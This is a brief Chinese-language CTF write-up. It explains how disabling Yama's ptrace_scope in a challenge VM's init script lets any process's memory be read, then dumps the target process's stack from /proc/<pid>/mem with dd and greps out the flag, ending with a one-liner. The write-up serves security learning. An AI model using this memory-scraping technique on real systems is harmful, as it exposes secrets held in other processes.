这是一种比较好玩的题
漏洞在这里 init文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #!/bin/sh echo "INIT SCRIPT" mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp echo 0 | tee /proc/sys/kernel/yama/ptrace_scope chown 0:0 flag chmod 755 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" ./target >pso.file 2>&1 & setsid /bin/cttyhack setuidgid 0 /bin/sh
|
其中这一句echo 0 | tee /proc/sys/kernel/yama/ptrace_scope
关闭了ptrace的保护,原本默认为1,使得ptrace只能追踪父进程
但是设为0即可追踪所有进程
所以可以
1 2 3 4
| ps -ef ->找到./target进程的pid (IDA分析./target发现flag已经读到栈里,并且之后while 1死循环 cat /proc/$(pidof target)/maps找到栈起始末尾地址 dd指令可以分析内存 dd if=/proc/$(pidof target)/mem skip=栈起始地址 bs=1(每次1bytes) count=135168(总共) |grep ...
|
一步到位:
1 2
| stack=$(printf %d "0x$(grep stack /proc/$(pidof target)/maps | sed -n 's/^\([0-9a-f]*\)-.*$/\1/p')") dd if=/proc/$(pidof target)/mem skip=$stack bs=1 count=135168|grep cyber
|